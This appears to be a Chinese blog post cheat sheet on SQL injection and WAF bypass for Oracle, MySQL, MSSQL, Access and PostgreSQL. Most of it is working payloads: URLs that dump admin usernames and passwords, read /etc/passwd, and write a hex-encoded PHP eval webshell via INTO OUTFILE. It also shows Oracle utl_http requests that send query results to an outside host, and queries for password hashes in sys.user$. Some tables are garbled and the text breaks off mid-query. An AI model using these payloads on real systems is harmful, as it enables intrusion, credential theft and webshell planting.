首页 > 数据库 >数据库语法整理及WAF绕过方式

数据库语法整理及WAF绕过方式

时间:2023-01-09 11:38:02浏览次数:38  
标签:空格 name union WAF 数据库 py 语法 id select

关系型数据库

关系型数据库:指采用了关系模型来组织数据的数据库。
直白的说就是:关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织。

当今主流的关系型数据库有:

  • Oracle(1521)
  • Microsoft SQL Server(1433)
  • MySQL(3306)
  • PostgreSQL(5432)
  • DB2(5000)
  • Microsoft Access
  • SQLite
  • MariaDB(3306)

非关系型数据库

非关系型数据库都是针对某些特定的应用需求出现的,因此,对于该类应用,具有极高的性能。

主流非关系型数据库代表为:

  • Redis(6379)
  • Amazon DynamoDB
  • Memcached
  • Microsoft Azure Cosmos DB
  • Hazelcast

Oracle

Oracle特性:

select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin

位置一

• 可利用其他控制字符替换空格:%00、%09、%0a、%0b、%0c、%0d

• 可利用其他符号:.

位置二

• 可利用其他控制字符替换空格:%00、%09、%0a、%0b、%0c、%0d

位置三

• 可利用其他控制字符替换空格:%00、%09、%0a、%0b、%0c、%0d

• 可利用其他符号:+ 、- 、%ad

位置四

• 可利用其他控制字符替换空格:%00、%09、%0a、%0b、%0c、%0d

位置五

• 可利用其他控制字符替换空格:%00、%09、%0a、%0b、%0c、%0d

• 可插入字符:%24、%30-%ff

MySQL

MySql语法:

• 绕过逗号过滤

原码:union select 1,2,3,4;
绕过:union select * from (select 1)a JOIN (select 2)b JOIN (select 3)c JOIN (select 4)d;

MySql特性:

select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin

位置一

• 可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0。

• 可利用注释符号:/**/、#、--+

Select/**/*/**/from/**/[dbo].[Users]/**/where id =1

• 可利用数学运算以及数据类型:news_id=1.1,news_id=1E0,news_id=\N

位置二

• 可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0。

• 可利用注释符号:/**/、#、--+

• 可利用括号 :union(select 1,2)

位置三

• 可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0。

• 可利用注释符号:/**/、#、--+

• 可利用其他符号:+ 、- 、~ 、!、@

位置四

• 可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0。

• 可利用注释符号:/**/、#、--+

• 可利用数学运算以及数据类型:union select user(),2.0from admin union select user(),8e0from admin union select user(),\Nfrom admin

位置五

• 可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0。

• 可利用注释符号:/**/、#、--+

全局位置

• 可利用 反引号 号:

union select 1 schema_name from `information_schema.SCHEMATA` limit 0,1)

• 可利用内联注释:

union select 1,(select(schema_name)from/*!12345information_schema.SCHEMATA*/ limit 0,1)

• 可利用{}号:

id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)

• 可利用()号:

id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)

MSSQL

MSSQL特性:

select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin

位置一

• 可利用其他控制字符替换空格:%01%0F、%11%1F。

• 可利用注释符号:/**/

• 可利用数学运算以及数据类型:news_id=1.1,news_id=1e0,news_id=1-1

位置二

• 可利用其他控制字符替换空格:%01%0F、%11%1F。

• 可利用注释符号:/**/

• 可利用冒号:union:slect

位置三

• 可利用其他控制字符替换空格:%01%0F、%11%1F。

• 可利用注释符号:/**/

• 可利用其他符号:+ 、- 、~ 、:、.

位置四

• 可利用其他控制字符替换空格:%01%0F、%11%1F。

• 可利用注释符号:/**/

• 可利用其他字符:%80~%FF

位置五

• 可利用其他控制字符替换空格:%01%0F、%11%1F。

• 可利用注释符号:/**/

• 可利用冒号:union:select

• 可利用其他字符::、.、%80~%FF

Access

Access特性:

select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin

位置一

• 可利用其他控制字符替换空格:%09、%0a、%0c、%0d、%16

位置二

• 可利用其他控制字符替换空格:%09、%0a、%0c、%0d

位置三

• 可利用其他控制字符替换空格:%09、%0a、%0c、%0d

• 可利用其他符号:+ 、- 、. 、=

位置四

• 可利用其他控制字符替换空格:%09、%0a、%0c、%0d

位置五

• 可利用其他控制字符替换空格:%09、%0a、%0c、%0d

PostgreSQL

数据库特性

Postgresql 字符串

• Postgres 输入的所有字符串都被认为是 Unknown 类型

Unknown 类型有两种输入模式:

• 单引号转义模式;

• 美元符逃逸模式;

在单引号转义模式中允许使用前缀 E/U/B/X 表示转义字符串/Unicode 字符串/位串。

• 其中 E 表示进行 C 语言风格的转义;

• U 表示进行 Unicode 转义,并支持自定义转义符;

• B 和 X 代表后续跟随的是一个 bit 序列;

PostgreSQL特性:

select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin

位置一

• 可利用其他控制字符替换空格:%09、%0a、%0c、%0d

• 可利用其他符号:. 、!

位置二

• 可利用其他控制字符替换空格:%09、%0a、%0c、%0d

位置三

• 可利用其他控制字符替换空格:%09、%0a、%0c、%0d

• 可利用其他符号:+ 、- 、. 、~、@

位置四

• 可利用其他控制字符替换空格:%09、%0a、%0c、%0d

位置五

• 可利用其他控制字符替换空格:%09、%0a、%0c、%0d

• 可插入字符:%24、%30-%ff

绕过方式:

• 另类字符集编码绕过即使用其他不同的编码方式来配合绕过

编码网址

https://www.compart.com/en/unicode

注入点

SELECT注入

SELECT语句用于数据表记录的查询,常在界面展示的过程使用,如新闻的内容、界面的展示等。

注入点在select_expr

利用AS别名的方法,直接将查询的结果显示到界面中。访问链接http://192.168.20.133/sqln1.php?id=(select%20pwd%20from%20wp_user)%20as%20title

注入点在table_reference

仍可以用别名的方式直接取出数据

在不知表名的情况下,可以先从information_schema.tables中查询表名。在select_expr和table_reference的注入,如果注入的点有反引号包裹,那么需要先闭合反引号。

注入点在WHERE或HAVING后

先判断有无引号包裹,再闭合前面可能存在的括号,即可进行注入来获取数据。

注入点在GROUP BY或ORDER BY后

当遇到不是WHERE后的注入点时,先在本地的MySQL中进行尝试,看语句后面能加什么,从而判断当前可以注入的位置,进而进行针对性的注入。

注入点在LIMIT后

LIMIT后的注入判断比较简单,通过更改数字大小,页面会显示更多或者更少的记录数。由于语法限制,前面的字符注入方式不可行(LIMIT后只能是数字),在整个SQL语句没有ORDER BY关键字的情况下,可以直接使用UNION注入。另外,我们可根据SELECT语法,通过加入PROCEDURE来尝试注入,这类语句只适合MySQL 5.6前的版本。

BENCHMARK语句的处理时间大约是1秒。在有写入权限的特定情况条件下,我们也可以使用INTO OUTFILE语句向Web目录写入webshell,在无法控制文件内容的情况下,可通过“SELECT xx INTO outfile"/tmp/xxx.php"LINES TERMINATED BY'<?php phpinfo();?>'”的方式控制部分内容。

INSERT注入

INSERT语句是插入数据表记录的语句,网页设计中常在添加新闻、用户注册、回复评论的地方出现。

通常,注入位于字段名或者字段值的地方,且没有回显信息。

注入点位于tbl_name

如果能够通过注释符注释后续语句,则可直接插入特定数据到想要的表内,如管理员表。

注入点位于VALUES

先闭合单引号,然后另行插入一条记录,通常管理员和普通用户在同一个表,此时便可以通过表字段来控制管理员权限。

UPDATE注入

UPDATE语句适用于数据库记录的更新,如用户修改自己的文章、介绍信息、更新信息等。

DELETE注入

DELETE注入大多在WHERE后。

DELETE语句的作用是删除某个表的全部或指定行的数据。对id参数进行注入时,稍有不慎就会使WHERE后的值为True,导致整个wp_news的数据被删除。

为了保证不会对正常数据造成干扰,通常使用'and sleep(1)'的方式保证WHERE后的结果返回为False,让语句无法成功执行。

如何判断各数据库

Oracle MySQL MSSQL PostgreSQL

获取长度 length()、lengthb() length()、char_length()

获取版本 select wm_concat(banner) from v$version; @@version、version() @@version version()
连接字符串 'abc' || 'def' 'abc' 'def' 'abc'+'def'、'abc'|'def' 'abc'||'def'

DB 连接符 行注释 唯一的默认表变量和函数

MSSQL %2B(URL+号编码)(e.g. ?category=sho’%2b’es) -- @@PACK_RECEIVED
MYSQL %20 (URL空格编码) # CONNECTION_ID()
Oracle
PGsql
Access “a” & “b” N/A msysobjects

数据库 语句(大多需要配合编码)

Oracle :
oder by N # 爆出第一个数据库名 and 1=2 union select 1,2,(select banner from sys.v_ where rownum=1),4,5,6 from dual # 依次爆出所有数据库名,假设第一个库名为first_dbname and 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>'first_dbname'),4,5,6 from dual 爆出表名 and 1=2 union select 1,2,(select table_name from user_tables where rownum=1),4,5,6 from dual 同理,同爆出下一个数据库类似爆出下一个表名就不说了,但是必须注意表名用大写或者表名大写的十六进制代码。有时候我们只想要某个数据库中含密码字段的表名,采用模糊查询语句,如下:and (select column_name from user_tab_columns where column_name like '%25pass%25')<0 爆出表tablename中的第一个字段名 and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and rownum=1),4,5,6 from dual 依次下一个字段名 and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and column_name<>'first_col_name' and rownum=1),4,5,6 from dual 若为基于时间或者基于bool类型盲注,可结合substr 、ASCII进行赋值盲测。若屏蔽关键函数,可尝试SYS_CONTEXT('USERENV','CURRENT_USER')类用法。

Mysql

正常语句 192.168.192.128/sqltest/news.php?id=1 #判断存在注入否 192.168.192.128/sqltest/news.php?id=1 and 1=2 #确定字段数 order by 192.168.192.128/sqltest/news.php?id=-1 order by 3 #测试回显字段 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,3 #测试字段内容 192.168.192.128/sqltest/news.php?id=-1 union select 1,user(),3 192.168.192.128/sqltest/news.php?id=-1 union select 1,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),3 #查询当前库下所有表 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #查询admin表下的字段名(16进制) 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e #查询admin表下的用户名密码 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(name,0x5e,pass) from admin #读取系统文件(/etc/passwd,需转换为16进制) 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,load_file(0x2f6574632f706173737764) #文件写入 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'-- PS:若权限不足,换个目录 

MSSQL

PS:回显型请查阅参考资料的链接,这里主要盲注的语法。 
#爆数据库版本(可先测长度) aspx?c=c1'//and//ascii(substring(@@version,1,1))=67//--&t=0 ps:在范围界定时,可利用二分查找结合大于小于来利用;亦可直接赋值脚本爆破,依次类推直至最后一字母。
#爆当前数据库名字 aspx?c=c1'//and//ascii(substring(db_name(),1,1))>200//--&t=0 
#爆表 aspx?c=c1'//and//ascii(substring((select//top//1 name//from//dbname.sys.all_objects where type='U'//AND//is_ms_shipped=0),1,1))>0//--&t=0 
#爆user表内字段 aspx?c=c1'//and//ascii(substring((select//top// 1//COLUMN_NAME from//dbname.information_schema.columns//where/** /TABLE_NAME='user'),1,1))>0//--&t=0 
#爆数据 aspx?c=c1'//and//ascii(substring((select//top//1//fPwd//from//User),1,1))>0/**/--&t=0 

注意:

1.Oracle 只能用 substr ()不能使用 substring()
select substr('HelloWorld',5,3) value from dual; //返回结果:oWo

2.使用如下可判断是否为Oracle
(Select user from dual)>0

3.#注释符为MySQL独有

SQL注入总结

绕过过滤规则

  1. 使用空字节%00等绕过WAF

  2. 过滤空格的情况,使用 tab 或%09 或/**/代替:

'%09o+r%091=(select%09cast((decode((ascii(substr((select%09user%09from%09dual),'1',1))),73,'1','yy'))%09as%09int)%09from%09dual)%09o+r%09'1'='1

  1. 过滤 and 和 or 的情况,在中间加一个被过滤字符、或使用&&和||代替

  2. CONCAT('0x',HEX('c:\boot.ini'));

  3. (CHaR(75)||CHaR(76)||CHaR(77))(使用+或||或 concat)

主流数据库注入案例

Oracle 注入

  1. Time-based

Select utl_http.request('http://host/ '||({INJECTION})||'.html')

select httpuri_type('{IP/INJECTION}').getclob() from dual

'||(cast((decode(bitand((select dbms_pipe.receive_message('a',3)
from dual),1),1,1,'bbb')) as int))||'

  1. Error-based

1=2 or 1=ordsys.ord_dicom.getmappingxpath({SQL in HERE},'a','b');

1=2 or 1=ctxsys.ctx_query.chk_xpath(user,'a','b');

123 and 1=utl_inaddr.get_host_name/address(({SQL in HERE})); /两个括号/

123 and 1=ctxsys.drithsx.sn(1,(SQL in HERE))

' or 1=decode((select length(user) from dual),6,1,(selectchar(39) from dual)); /Decode()方式/

  1. 按位数猜字符

'||(cast((decode(bitand(ascii((select substr(({SQL injection}),1,1) from dual)),1),0,1,'bbb')) as int))||';

select 1 from dual where 'aaa'=decode(greatest(user,'S'),'S','aaa','');

  1. order by 注入

select id,name from usertest order by decode(1,cast((select decode(({SQL injection}),{猜测的内容},1,'a') from dual) as int),1,1);

select id,name from usertest order by cast(cast((select decode(({select length(user) from dual }),{猜测的内容},1,'a') from dual) as int) as int);

  1. 获取账户信息

select name, password, astatus from sys.user$;

  1. 获取当前用户

select username from user_users/all_users/dba_users;

  1. 是否为 DBA 登录

select sys_context('USERENV','ISDBA') from dual;

  1. 获取当前用户名

select sys_context('USERENV','SESSION_USER') from dual;
select sys_context('USERENV','CURRENT_USER') from dual;

  1. 获取当前终端

select userenv('terminal') from dual;
select sys_context('USERENV','TERMINAL') from dual;
select sys_context('USERENV','HOST') from dual;
select REPLACE(SUBSTR(sys_context('USERENV','HOST'),1,30),'','

标签:空格,name,union,WAF,数据库,py,语法,id,select
From: https://www.cnblogs.com/hgschool/p/17036494.html

相关文章

  • 面试官:数据库日期类型字段,需要兼容不同数据库,应该如何选择?
    作者:sp42a来源:https://zhangxin.blog.csdn.net/article/details/124955363当设计一个产品,其中很多地方要把日期类型保存到数据库中,如果产品有兼容不同数据库产品的需求,那......
  • 数据库阻塞查询语句 SQL SERVER
    --查询CPU占用最高的SQL语句SELECTtotal_worker_time/execution_countASavg_cpu_cost,plan_handle,execution_count,(SELECTSUBSTRING(text,statement_sta......
  • 英语语法个人笔记-乱写-哈哈
       "of"也是一个介词,它用来表示"permanentdefeat"是"flag"的一部分,即"permanentdefeat"这个标志就是"flag"。所以"theflagofpermanentdefeat"就是"永久失败的......
  • Java基础语法
    之前学习java记得笔记,但是一直没怎么遇到java类的题,平时也不用java,所以经常忘记,今天想起来了再看一遍,再把之前写的笔记整理整理发到博客上。Java预学习Jave的优势从互联......
  • 图文并茂strapi 4.5.5自定义搭建指南以及数据库字段名接口返回mapping分析
    strapi是什么?基于Nodejs的开源免费CMS框架为什么选择它?基于nodejs,100%JavaScript,上手迅速可轻松创建功能强大且可自定义的API可以使用任何喜欢的数据库先决条件首......
  • ubuntu20下mysql5.7数据库修改密码
    --找到mysql配置文件修改/etc/mysql/mysql.conf.d/mysqld.cnf#加上下面的可以不要密码登录#skip-grant-tables#skip-networking然后重启mysql服务servicemysqlr......
  • kotlin语法
    apply:于不返回值且主要在接收者(this)对象的成员上运行的代码块使用 apply。apply 的常见情况是对象配置。这样的调用可以理解为“将以下赋值操作应用于对象”。also上......
  • shell语法
    expr命令,echo命令,printf命令,test命令与判断符号[],判断语句:expr命令:expr会在stdout中输出结果。如果为逻辑关系表达式,则结果为真,stdout为1,否则为0expr的exitcode......
  • 数据库在执行全库恢复后,open时报错ORA-01113、ORA-01110 ORA-00312 ORA-01113
    问题描述:数据库在执行全库恢复后,open时报错ORA-01113、ORA-01110ORA-00312ORA-01113系统:Anolis7.9数据库:oracle11.2.0.41、问题描述数据库在执行全库恢复后,open时报错OR......
  • C# Oracle海量数据瞬间插入到数据库的方法
    转自:https://www.cnblogs.com/gaoyuanzhen/p/3875806.htmlC#海量数据瞬间插入到数据库的方法当我们在数据库中进行大量的数据追加时,是不是经常因为数据量过大而苦恼呢?而......